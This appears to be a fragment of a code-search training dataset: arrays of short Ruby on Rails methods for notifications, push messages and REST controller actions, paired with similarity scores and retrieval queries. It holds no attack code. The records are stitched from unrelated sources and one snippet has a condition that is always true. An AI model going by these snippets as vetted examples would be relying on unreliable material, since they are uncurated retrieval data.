"def new_comment_notification(comment)\n\n blog = Post.find comment.post_id\n sender = User.find comment.user_id\n blog_owner = User.find blog.user_id\n #@subscribe = Subscribe.find :all, :conditions => [\"model_id = ? and model_type = ?\",blog.id, \"Post\"],:select => [\"user_id\"]\n #@subscribers = User.find :all, :conditions => [\"id in (?)\",@subscribe], :select => [\"email\"]\n setup_email(blog_owner)\n\n @subject += \"У ваc новый комментарий\"\n\n body[:comment]= comment\n body[:from_who] = sender\n body[:url] = RAILS_URL + \"posts/show/#{comment.post_id}#comments\"\n\n end",
"def perform(notifiable_id, notifiable_type, prefix)\n title=\"New #{prefix}-#{notifiable_type}\"\n \n if title == 'New Post-Like' || 'New Comment-Like'\n like = Like.find(notifiable_id)\n receiving_user = like.likeable.user\n \n elsif title == 'New Post-Comment'\n comment = Comment.find(notifiable_id)\n receiving_user = comment.post.user\n \n elsif title == 'New Request-Friendship'\n friendship = Friendship.find(notifiable_id)\n receiving_user = friendship.friended\n \n elsif title == 'New Accept-Friendship'\n friendship = Friendship.find(notifiable_id)\n receiving_user = friendship.friender\n end\n \n receiving_user.notifications.create(title: title, user_id: receiving_user.id, \n notifiable_id: notifiable_id, notifiable_type: notifiable_type)\n end",
"def send_notification\n\t\tSingleCellMailer.share_notification(self.study.user, self).deliver_now\n\tend",
"def name\n\t\t\t\t\"notify_pushover\"\n\t\t\tend",
"def notify\n {}\n end",
"def notify\n {}\n end",
"def notify\n {}\n end",
"def set_notification\n @notification = Notification.for_user(current_api_v1_user).find(params[:id])\n end",
"def deliver\n if session[:user_id] then\n EVENT_LOG.tagged(DateTime.now, 'ADMIN') { EVENT_LOG.info('Test-firing message push to devices') }\n User.all.each do |user|\n if rand > 0.5\n user.send_notification('test broadcast', :message)\n else\n user.send_notification(\"Please create a weekly entry\", :reminder)\n end\n end\n Rpush.push\n render nothing: true, status: :ok\n else\n redirect_to admin_login_url\n end\n end",
"def messaging\n end",
"def publish_mobile_notification\n return false if !should_send_mobile_notification?\n\n push = Parse::Push.new({\n :title => \"KPCC - #{self.break_type}\",\n :alert => self.email_subject,\n :badge => \"Increment\",\n :alertId => self.id\n }, PARSE_CHANNEL)\n\n result = push.save\n\n if result[\"result\"] == true\n self.update_column(:mobile_notification_sent, true)\n else\n # TODO: Handle errors from Parse\n end\n end",
"def notify_user(ad)\n #create notification for the user\n notification = self.notifications.unviewed.event(:new_relevant_ad).new\n notification.user = self.user\n notification.ad = ad\n notification.save!\n end",
"def to_notification\n @_notification ||= begin\n instance = type.constantize.with(params)\n instance.record = self\n instance\n end\n end",
"def pushed\n return false if deactivated?\n self.status = 'publishing'\n notify_observers :after_push if (suc = save)\n suc\n end",
"def notify_game_change\n connection.execute \"NOTIFY #{channel}, #{connection.quote self.to_s}\"\n end",
"def send_pusher_event\n pusher_client.trigger(\"auctions\", \"new_bid_in_room_#{self.room_id}\", self.to_json)\n end",
"def notifier; end",
"def notifier; end",
"def pushover_notify(message)\n\t\t\t\t@pushover_req.set_form_data({\n\t\t\t\t\t:token => @app_key,\n\t\t\t\t\t:user => @user_key,\n\t\t\t\t\t:message => message\n\t\t\t\t})\n\t\t\t\t@pushover_res.start {|http| http.request(@pushover_req) }\n\t\t\tend",
"def notify(*args, **kwargs)\n new.notify(*args, **kwargs)\n end",
"def notification\n\n begin\n posData = JSON.parse(params[\"posData\"])\n\n order_id = posData[\"orderID\"]\n payment_id = posData[\"paymentID\"]\n\n order = Spree::Order.find_by_number(order_id) || raise(ActiveRecord::RecordNotFound)\n begin\n order.process_bitpay_ipn payment_id\n head :ok\n rescue => exception\n logger.debug exception\n head :uprocessable_entity\n end\n rescue => error\n logger.error \"Spree_Bitpay: Unprocessable notification received from #{request.remote_ip}: #{params.inspect}\"\n head :unprocessable_entity\n end\n end",
"def notify_pusher\n Pusher.trigger('location', 'new', self.trip.as_json)\n end",
"def send_execution_notification\n payload = execution_notification_payload\n trade_order.portfolio.user.notify_devices payload, self\n end",
"def trigger_on_message(msg); @app.on_message(msg); end",
"def publish_action(f)\n send_as :notification\n from f\n story_size SHORT # or ONE_LINE or FULL\n data :friend=>\"Mike\"\n end",
"def name\n\t\t\t\"notify_pushover\"\n\t\tend",
"def set_notification\n @notification = Notification.find(params[:id])\n end",
"def set_notification\n @notification = Notification.find(params[:id])\n end",
"def set_notification\n @notification = Notification.find(params[:id])\n end",
"def set_notification\n @notification = Notification.find(params[:id])\n end",
"def push(channels, model, scope: nil)\n pusher.trigger channels, event_name(model), serialize(model, scope: scope)\n end",
"def notification_id\n @id\n end",
"def notification\n\n begin\n posData = JSON.parse(params[\"posData\"])\n\n order_id = posData[\"orderID\"]\n payment_id = posData[\"paymentID\"]\n\n order = Spree::Order.find_by_number(order_id) || raise(ActiveRecord::RecordNotFound)\n begin\n order.process_bitpay_ipn payment_id\n head :ok\n rescue => exception\n logger.debug exception\n head :uprocessable_entity\n end\n rescue => error\n logger.error \"Spree_Bitpay: Unprocessable notification received from #{request.remote_ip}: #{params.inspect}\"\n head :unprocessable_entity\t\n end\n end",
"def notify(msg, subject)\n end",
"def notify(method, *args)\n @serializer.write([2, method, args])\n self\n end",
"def notify(params, gateway)\n self.invoice_notifications.create(pay_data: info_by_gateway(params, gateway))\n end",
"def notify!\n\n Alert.alert!(target, self, \"create\")\n\n # alert = Alert.create!(\n # user: target,\n # target: self,\n # text: \"Feedback received from #{self.user.name}\",\n # read_link: \"/app/main/feedbacks/show/#{id}\"\n # )\n\n # # Create notifications for the sender and receiver -> will appear in timeline\n # Notification.create!(\n # user_id: user.id, target: self,\n # notify: false,\n # unread: false\n # )\n # Notification.create!(\n # user_id: target.id, target: self,\n # notify: true,\n # unread: true\n # )\n\n end",
"def notify(params)\n client.post('/notify', params)\n end",
"def watching_notification\n @sender = @watchable.user\n @user = @receiver\n path = \"/#{@watchable.class.name.downcase.pluralize}/#{@watchable.id}\"\n @notification = @user.notifications.find_by(path: path)\n subject = \"[bootcamp] #{@sender.login_name}さんの【 #{@watchable.notification_title} 】に#{@comment.user.login_name}さんがコメントしました。\"\n mail to: @user.email, subject: subject\n end",
"def message_notification\n fetch(:hipchat_announce, false)\n end",
"def notify!(event)\n notifications.find_or_create_by!(event: event)\n end",
"def send_reply\n if self.response_changed?\n @notifiable = self\n @tutor = User.find(self.user_id)\n @student = User.find(self.pupil_id)\n\n if self.response == \"Declined\"\n @description = self.pupil.title + \" has sadly declined your offer\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You hve declined the offer by ' + @tutor.title)\n else\n @description = self.pupil.title + \" is now a student at your school\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You are now a student of ' + @tutor.title)\n end\n @notifiable.notifications.create(:user => @student, :receiver_id => @tutor.id, :message => @description)\n end\n end",
"def notify\n return if destroy_if_old\n\n increase_busy_counter\n\n create_push\n end",
"def votes_notification\n \ttype = 0\n\tcase self.total_votes\n\twhen 10\n\t\ttype = 310\n\twhen 25\n\t\ttype = 311\n\twhen 50\n\t\ttype = 312\n\twhen 100\n\t\ttype = 313\n\twhen 250\n\t\ttype = 314\n\twhen 500\n\t\ttype = 315\n\twhen 1000\n\t\ttype = 316\n\twhen 2500\n\t\ttype = 317\n\twhen 5000\n\t\ttype = 318\n\tend\n\tif type > 0\n\t\top_user_id = self.user_id\n\t\t# create activity \n\t\tcurrent_time = Time.now\n\t\tif Rails.env == 'production'\n\t\t\tRecentActivity.delay.add_activity(op_user_id, type.to_s, nil, nil, \"shout-votes-\"+self.total_votes.to_s+\"-\"+op_user_id.to_s+\"-\"+current_time.to_i.to_s, \"Shout\", self.id, 'You received ' + self.total_votes.to_s + ' votes on your shout \"'+self.body.truncate(23, separator: /\\s/)+'\"')\n\t\t\tWhisperNotification.delay.send_notification_330_level(op_user_id, type, self.total_votes, self.id)\n\t\tend\t\n\tend \n end",
"def notify_receiver\n conversation = ConversationBlueprint.render_as_json(self, view: :normal)\n ActionCable.server.broadcast \"user_#{ self.user_two_id }_notification_channel\", conversation\n end",
"def after_commit(model)\n # get the customer\n customer = model.customer\n\n # do a UI update push for this customer\n PUBNUB.publish({\n # NJS - use more secure channel name\n :channel => \"customer_ui_update_available_#{customer.id}\",\n # the actual message is ignored\n :message => \"UI update available\",\n :callback => lambda { |message| puts(message) }\n })\n end"
] |
[
"0.79129845",
"0.7632947",
"0.7573457",
"0.72734666",
"0.7170966",
"0.7135296",
"0.70779693",
"0.7059019",
"0.68738437",
"0.6821967",
"0.67372805",
"0.6642225",
"0.6638041",
"0.6633493",
"0.66221046",
"0.66221046",
"0.6606825",
"0.65995437",
"0.65596133",
"0.6550375",
"0.64600104",
"0.64521426",
"0.6409383",
"0.639284",
"0.63718283",
"0.63654536",
"0.6303444",
"0.6297533",
"0.6297221",
"0.6293085",
"0.6288704",
"0.6266397",
"0.6263007",
"0.62294126",
"0.6225941",
"0.6218977",
"0.6203767",
"0.6196368",
"0.6185313",
"0.61818343",
"0.6166185",
"0.6158192",
"0.6158192",
"0.6158121",
"0.6154904",
"0.61515343",
"0.6132713",
"0.6130182",
"0.61267585",
"0.6125737",
"0.61095375",
"0.60988075",
"0.6097586",
"0.60968614",
"0.60909784",
"0.6076979",
"0.60766995",
"0.60756516",
"0.6075467",
"0.60737985",
"0.60737985",
"0.60737985",
"0.6066846",
"0.6053306",
"0.6032209",
"0.603071",
"0.6011689",
"0.6001879",
"0.59977794",
"0.5995782",
"0.59915423",
"0.5989651",
"0.5989651",
"0.5980344",
"0.5975015",
"0.5974795",
"0.5969212",
"0.59665847",
"0.59612143",
"0.59600616",
"0.59559995",
"0.59507173",
"0.59507173",
"0.59507173",
"0.59485775",
"0.5942374",
"0.5929377",
"0.59218806",
"0.5919255",
"0.5915373",
"0.5914782",
"0.59092546",
"0.5908366",
"0.5907677",
"0.5898236",
"0.5893733",
"0.5893512",
"0.58912283",
"0.5887984",
"0.58836204",
"0.58788997"
] |
0.0
|
-1
|
abstractions for connection, which fail automatically
|
def agent
return @agent if @agent
if ready? && private_ip_address
@agent = RestClient::Resource.new(
"#{private_ip_address}:#{AGENT_PORT}/",
timeout: 999999
)
else
fail 'Server is not ready.'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def on_error(connection, reason)\n end",
"def connect_reset_safe\n\t\tbegin\n\t\t\tconnect\n\t\trescue Rex::ConnectionRefused\n\t\t\treturn :refused\n\t\tend\n\t\treturn :connected\n\tend",
"def connection(connection, didFailWithError:error)\n @room.streamFailed\n rejoin\n end",
"def on_tcp_connection_failure(&block)\n define_callback :tcp_connection_failure, &block\n end",
"def test_connection_handler_raise\n h = Class.new() do\n def on_connection_open(c) raise \"BROKEN\"; end\n end.new\n c = ServerContainer.new(__method__, nil, 1, h)\n c.connect(c.url)\n assert_equal(\"BROKEN\", (assert_raises(RuntimeError) { c.run }).to_s)\n end",
"def without_reconnect(&block); end",
"def client_error?; end",
"def ensure_connection!\n fail \"Must have active connection\" unless connection\n end",
"def ensure_connection!\n fail \"Must have active connection\" unless connection\n end",
"def ensure_connection!\n fail \"Must have active connection\" unless connection\n end",
"def ensure_connection!\n fail \"Must have active connection\" unless connection\n end",
"def ensure_connection!\n fail \"Must have active connection\" unless connection\n end",
"def ensure_connection!\n fail \"Must have active connection\" unless connection\n end",
"def server_connection_failed\n @server_side = nil\n if @connected\n LOGGER.error \"Connection with #{@remote.join(':')} was terminated prematurely.\"\n close_connection\n BeanstalkProxy.connect_error_callback.call(@remote.join(':'))\n elsif @tries < 10\n @tries += 1\n LOGGER.warn \"Retrying connection with #{@remote.join(':')} (##{@tries})\"\n EM.add_timer(0.1) { connect_to_server }\n else\n LOGGER.error \"Connect #{@remote.join(':')} failed after ten attempts.\"\n close_connection\n BeanstalkProxy.connect_error_callback.call(@remote.join(':'))\n end\n end",
"def connection_opening_failed(error)\n if error.kind_of?(Ably::Exceptions::BaseAblyException)\n # Authentication errors that indicate the authentication failure is terminal should move to the failed state\n if ([401, 403].include?(error.status) && !RESOLVABLE_ERROR_CODES.fetch(:token_expired).include?(error.code)) ||\n (error.code == Ably::Exceptions::Codes::INVALID_CLIENT_ID)\n connection.transition_state_machine :failed, reason: error\n return\n end\n end\n\n logger.warn { \"ConnectionManager: Connection to #{connection.current_host}:#{connection.port} failed; #{error.message}\" }\n next_state = get_next_retry_state_info\n\n if connection.state == next_state.fetch(:state)\n logger.error { \"ConnectionManager: Skipping next retry state after connection opening failed as already in state #{next_state}\\n#{caller[0..20].join(\"\\n\")}\" }\n else\n connection.transition_state_machine next_state.fetch(:state), retry_in: next_state.fetch(:pause), reason: Ably::Exceptions::ConnectionError.new(\"Connection failed: #{error.message}\", nil, Ably::Exceptions::Codes::CONNECTION_FAILED, error)\n end\n end",
"def retry_on_connection_error\n @retry_on_failure = true\n begin\n handle_thrift_exceptions_with_missing_message { yield }\n rescue Thrift::TransportException, IOError, Thrift::ApplicationException, Thrift::ProtocolException => err\n if @retry_on_failure\n @retry_on_failure = false\n @connection.close\n @connection.open\n retry\n else\n raise err\n end\n end\n end",
"def do_failure; end",
"def on_connection_error &block\n @connection_error_callback = block\n end",
"def request_failure(packet); end",
"def connection_check\n handle_action_exceptions(__method__) do\n check_connection\n end\n rescue RToolsHCKConnectionError => e\n if @json\n { 'result' => 'Failure', 'message' => e.message }\n else\n puts \"WARNING: #{e.message}\"\n false\n end\n end",
"def close_connection; end",
"def connection_refused\n @connection_refused || code == 0\n end",
"def connect_error?\n @connerror || false\n end",
"def with_connection(&block)\n connect unless connected?\n yield\n rescue => e\n log_error(e)\n close(flush: false)\n raise\n end",
"def server_error?; end",
"def connection_closed\n end",
"def connection_status_done; end",
"def disconnected?; connection_state == :disconnected end",
"def do_connect(host)\n create_connector.connect(host.ip.to_s).fallback do |error|\n case error\n when Errors::ProtocolError\n synchronize do\n if @options.protocol_version > 1\n @logger.info(\"Host #{host.ip} doesn't support protocol version #{@options.protocol_version}, downgrading\")\n @options.protocol_version -= 1\n do_connect(host)\n else\n Ione::Future.failed(error)\n end\n end\n when Error\n Ione::Future.failed(error)\n else\n e = Errors::IOError.new(error.message)\n e.set_backtrace(error.backtrace)\n Ione::Future.failed(e)\n end\n end\n end",
"def connection_error(error, req, text = T.unsafe(nil)); end",
"def fail\n # no-op\n end",
"def rescue_connection_failure(max_retries=60)\n retries = 0\n begin\n yield\n rescue Mongo::ConnectionFailure => ex\n puts ex\n retries += 1\n raise ex if retries > max_retries\n sleep(0.5)\n retry\n end\nend",
"def handle_tcp_failure(connection, settings)\n\n logger.info(\"Connection to AMQP lost. Finding new host..\")\n\n if @amqp_hosts.size == 1\n logger.info(\"Only a single host.. reconnecting\")\n connection.reconnect(false, 10)\n return\n end\n\n current_host = settings[:host]\n new_host = get_new_amqp_host(@amqp_hosts)\n\n while new_host == current_host\n new_host = get_new_amqp_host(@amqp_hosts)\n end\n\n settings[:host] = new_host\n\n logger.info (\"Reconnecting to AMPQ host: #{new_host}\")\n\n connection.reconnect_to(settings)\n end",
"def connect\n\t\t\tbegin\n\t\t\t\tsuper\n\t\t\trescue Exception => ex\n\t\t\t\tdisconnect() #TODO RAE: This behaviour works when the problem is not due to SSL. Try to fix it for SSL\n\t\t\t\traise ex\n\t\t\tend\n\n\t\tend",
"def connection_failure(actor, reason)\n if(reason && key = connections.key(actor))\n warn \"Connection failure detected. Removing connection: #{key} - #{reason}\"\n connections.delete(key)\n begin\n distribution.remove_connection(key)\n rescue Error::ConnectionUnavailable, Error::ConnectionFailure\n warn 'Caught connection unavailability'\n end\n queue.deregister_connection(key)\n distribution.redistribute!\n direct_connect unless discovery\n end\n nil\n end",
"def retry_request(http, *args)\n 5.times do\n begin\n return http.send(:send_request, *args)\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n Chef::Log.debug('couchdb connection failed')\n end\n sleep 1\n end\n Chef::Log.debug('failed to connect to couchdb after 5 tries ... failing chef run')\n fail 'unable to connect to couchdb'\n end",
"def method_missing(meth, *args, &block)\n begin\n @proxy.send(meth, *args, &block)\n rescue\n establish\n puts 'connect reestablished'\n @proxy.send(meth, *args, &block)\n end\n end",
"def ignore_disconnect; end",
"def with_connection_auto_retry\n with_connection do |connection|\n begin\n yield connection\n rescue Exception => e\n if e.kind_of?(Timeout::Error) || e.kind_of?(@timeout_class) || e.message =~ /expired/\n remove(connection)\n raise\n end\n connection = renew(connection)\n begin\n yield connection\n rescue Exception => e\n remove(connection)\n raise\n end\n end\n end\n end",
"def protocol_failure(ctx, **)\n true\n end",
"def retry!\n raise 'Not implemented!'\n end",
"def wait_connection; end",
"def wait_connection; end",
"def connection_valid?\n if status.untested? or (changed? and (changes.keys & @@status_fields).empty?)\n begin\n test_connection\n status.success!\n rescue => e\n error_str = map_connection_exception_to_error(e)\n status.fail!(error_str)\n end\n end\n status.success?\n end",
"def connect!; end",
"def connect!; end",
"def catch_exceptions; end",
"def client_error(e, client); end",
"def reconnect! # :nodoc:\n super\n @raw_connection.reset!\n rescue OracleEnhanced::ConnectionException => e\n @logger.warn \"#{adapter_name} automatic reconnection failed: #{e.message}\" if @logger\n end",
"def on_connection_exception(&block)\n @exception_block = block\n end",
"def _connect\n return if @ssl_connected\n\n Error.translate do\n @plaintext_connected ||= super\n return if !@plaintext_connected\n\n # Mark the connection as not connected due to the pending SSL handshake.\n @connected = false\n\n @socket.connect_nonblock\n @ssl_connected = @connected = true\n end\n rescue IO::WaitReadable, IO::WaitWritable, Errno::EINPROGRESS\n rescue Error => e\n close e\n end",
"def on_error reason\n puts reason\n close\n end",
"def check_conn_error(conn)\n return nil if conn.code == 200\n\n @errors.push(\n time: Time.now.strftime('%d.%m.%Y-%H:%M:%S:%L'),\n code: conn.code,\n message: conn.msg,\n request: conn.request.path.to_s\n )\n end",
"def check_connection( conn )\n begin\n @conn.exec(\"SELECT 1\")\n rescue PG::Error => err\n $stderr.puts \"%p while CHECKING TESTING connection: %s\" % [ err.class, err.message ]\n @conn.reset\n puts \"--------- PG CONNECTION RESETED -------------\"\n end\nend",
"def rescue_connection_reset\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (connection reset). \" +\n \"Please try again.\"\n end",
"def working\n waiting.invert\n rescue ::Sequel::DatabaseError => e\n retry if on_error e\n end",
"def on_part_failure(connection, channel)\n end",
"def rescue_connection_failure(max_retries=30)\n retries = 0\n begin\n yield\n rescue Mongo::ConnectionFailure => ex\n #puts \"Rescue attempt #{retries}: from #{ex}\"\n retries += 1\n raise ex if retries > max_retries\n sleep(2)\n retry\n end\n end",
"def raise_unless_connected!\n begin \n @connection.stats\n rescue\n raise Workling::StarlingNotFoundError.new\n end\n end",
"def reconnect\n end",
"def safely(&block)\r\n begin\r\n yield\r\n rescue Exception => e\r\n if e.message =~ /connection was aborted/\r\n puts \" [yp searcher] Error: #{e} #{e.message}. Continuing.\"\r\n end\r\n end\r\n end",
"def new_connection; end",
"def connect(*) end",
"def abort_on_exception(*) end",
"def on_ssl_connectfail(parms)\n @log.debug \"SSL Connect Fail Parms #{info(parms)}\"\n @log.debug \"SSL Connect Fail Exception #{parms[:ssl_exception]}, \" \\\n \"#{parms[:ssl_exception].message}\"\n rescue StandardError\n @log.debug 'SSL Connect Fail oops'\n end",
"def connection_failed(e, client, options)\n @connection_error = e\n emit warn(\"connection failed: #{e.message}\")\n if @reconnection_timer\n return\n end\n\n @reconnection_timer = Qt::Timer.new(self)\n @connect_client = client.dup\n @connect_options = options.dup\n @reconnection_timer.connect(SIGNAL(\"timeout()\")) do\n puts \"trying to reconnect to #{@connect_client} #{@connect_options}\"\n if connect(@connect_client, @connect_options)\n emit info(\"Connected\")\n @reconnection_timer.stop\n @reconnection_timer.dispose\n @reconnection_timer = nil\n end\n end\n @reconnection_timer.start(1000)\n end",
"def check_connection\n return\n check = HTTParty.get(\"#{@host}/api/check_connection?api_key=#{@api_key}\")\n if check.nil? || check[\"status\"][\"code\"] < 0\n @helper.terminate(\"Script was unable to establish connection with dFile at #{@host}\")\n end\n end",
"def test_abort_not_connected()\n t = Scalaroid::Transaction.new()\n t.close_connection()\n #assert_raises( Scalaroid::ConnectionError ) { t.abort() }\n t.abort()\n t.close_connection()\n end",
"def abort_on_exception=(*) end",
"def recover_from(_error); end",
"def conn_error?(key)\n c = get_connection_by_key(key)\n c && c.error?\n end",
"def fail\n end",
"def error?; end",
"def error?; end",
"def error?; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def checkConnection\n unless connected?\n raise DictError.new(), \"Not connected.\"\n end\n end",
"def checkConnection\n unless connected?\n raise DictError.new(), \"Not connected.\"\n end\n end",
"def reconnect!\n end",
"def run_and_raise_on_failure\n # TODO ?\n end",
"def connect config\n @db = ::Sequel.connect config\n rescue ::Sequel::DatabaseError => e\n retry if on_error e\n end",
"def connect_timeout; end",
"def connect_timeout; end",
"def do_open_failed(reason_code, description); end",
"def try(&block)\n begin\n yield\n rescue Errno::ETIMEDOUT, Timeout::Error, Net::HTTPNotFound\n log \"Connection Error\"\n rescue Exception => exc\n log exc.message\n log exc.backtrace\n end\n end",
"def em_autoreconnect!(deferrable, error, &send_proc)\n if async_autoreconnect && self.status != PG::CONNECTION_OK\n reset_df = em_reset\n reset_df.errback { |ex| deferrable.fail(ex) }\n reset_df.callback do\n if on_autoreconnect\n returned_df = on_autoreconnect.call(self, error)\n if returned_df == false\n ::EM.next_tick { deferrable.fail(error) }\n elsif returned_df.respond_to?(:callback) && returned_df.respond_to?(:errback)\n returned_df.callback { deferrable.protect(&send_proc) }\n returned_df.errback { |ex| deferrable.fail(ex) }\n elsif returned_df.is_a?(Exception)\n ::EM.next_tick { deferrable.fail(returned_df) }\n else\n deferrable.protect(&send_proc)\n end\n else\n deferrable.protect(&send_proc)\n end\n end\n else\n ::EM.next_tick { deferrable.fail(error) }\n end\n end",
"def connection_successful\n @connection_deferrable.succeed\n end",
"def connect!\n end",
"def disconnecting?; connection_state == :disconnecting end",
"def on_failure(object, *args); end",
"def close_expired_connections\n raise NotImplementedError\n end",
"def fail\n @failed = true\n end",
"def verify_connection!(uri); end",
"def test_connection_work_queue_raise\n c = ServerContainer.new(__method__)\n c.connect(c.url)\n c.work_queue.add { raise \"BROKEN\" }\n assert_equal(\"BROKEN\", (assert_raises(RuntimeError) { c.run }).to_s)\n end"
] |
[
"0.71100324",
"0.6929631",
"0.682656",
"0.6676495",
"0.6666836",
"0.6643399",
"0.6626798",
"0.66036546",
"0.66036546",
"0.66036546",
"0.66036546",
"0.66036546",
"0.66036546",
"0.6577808",
"0.6562181",
"0.6501566",
"0.64547396",
"0.6439998",
"0.64176136",
"0.641657",
"0.6378287",
"0.63536143",
"0.6333446",
"0.63280916",
"0.6326656",
"0.62785685",
"0.62672114",
"0.62663645",
"0.62649226",
"0.62632424",
"0.6257511",
"0.6256241",
"0.62213343",
"0.6210218",
"0.61873597",
"0.6182501",
"0.6153276",
"0.61485195",
"0.6132836",
"0.61310476",
"0.6115697",
"0.61058664",
"0.61058664",
"0.60930157",
"0.60803795",
"0.60803795",
"0.60778284",
"0.6064722",
"0.6063541",
"0.60634387",
"0.6062314",
"0.6043645",
"0.6042811",
"0.6039592",
"0.60355127",
"0.6035412",
"0.6024483",
"0.60208327",
"0.6012563",
"0.60042167",
"0.59955037",
"0.5979609",
"0.5976906",
"0.5975556",
"0.5971731",
"0.59577185",
"0.5957621",
"0.59522897",
"0.5952116",
"0.5939077",
"0.5926131",
"0.5922535",
"0.5920346",
"0.5920346",
"0.5920346",
"0.5916912",
"0.5916912",
"0.5916912",
"0.5916912",
"0.5916912",
"0.5916912",
"0.5916912",
"0.5916912",
"0.59149474",
"0.59149474",
"0.5913219",
"0.59121007",
"0.5911076",
"0.5902715",
"0.5902715",
"0.59021014",
"0.59002966",
"0.5894568",
"0.5893735",
"0.58935213",
"0.5890675",
"0.58890224",
"0.58824515",
"0.58789563",
"0.5877117",
"0.5865216"
] |
0.0
|
-1
|
GET /tipo_actividads GET /tipo_actividads.json
|
def index
@tipo_actividads = TipoActividad.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
"def index\n @actividads = Actividad.all\n end",
"def show\n @activo = Activo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activo }\n end\n end",
"def activo\n @egreso.activo\n respond_to do |format|\n format.html { redirect_to egresos_url }\n format.json { head :no_content }\n end\n end",
"def show\n @actividad = Actividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @actividad }\n end\n end",
"def activos\n render :json => Producto.activo.all\n end",
"def show\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aactio }\n end\n end",
"def show\n @tipo_atendimento = TipoAtendimento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_atendimento }\n end\n end",
"def show\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_contrato }\n end\n end",
"def index\n @adecuacionactividads = Adecuacionactividad.all\n end",
"def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end",
"def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end",
"def index\n if params[:tipo_id]\n @entidades = Tipo.friendly.find(params[:tipo_id]).entidades\n else\n @entidades = Entidade.all\n end\n end",
"def show\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def index\n @activos = Activo.all\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end",
"def activo\n @produccion.activo\n respond_to do |format|\n format.html { redirect_to produccions_url }\n format.json { head :no_content }\n end\n end",
"def etiquetas_por_aluno\n logger.info(params)\n @etiquetas_aluno = Etiqueta.all.where(aluno_id: params[:aluno_id])\n respond_with @etiquetas_aluno\n end",
"def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @denuncia_tipo }\n end\n end",
"def show\n\n @evento = Evento.find(params[:id])\n @comentarios = Comentario.where(:comentavel_id => @evento.id, :comentavel_type => \"Evento\").order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evento }\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def index\n @tipo_usuarios = TipoUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_usuarios }\n end\n end",
"def show\n @agenda_type = AgendaType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @agenda_type }\n end\n end",
"def index\n @tipo_apostas = TipoAposta.all\n end",
"def show\n @antecedente = Antecedente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @antecedente }\n end\n end",
"def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end",
"def show\n @categorias_tipo = CatTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categorias_tipo }\n end\n end",
"def index\n @tipo_entidades = TipoEntidade.all\n end",
"def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end",
"def index\n @acuerdos = Acuerdo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acuerdos }\n end\n end",
"def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activite }\n end\n end",
"def index\n @actuaciones = Actuacion.all\n end",
"def show\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_negocio }\n end\n end",
"def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def index\n @activacionclientets = Activacionclientet.all\n end",
"def new\n @activo = Activo.new\n @amenaza = Amenaza.all(:select => \"id,origen\")\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activo }\n end\n end",
"def index\n @status_del_admitidos = StatusDelAdmitido.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_admitidos }\n end\n end",
"def index\n @tipoapreensoes = Tipoapreensao.all\n end",
"def new\n @tipo_actividad = TipoActividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
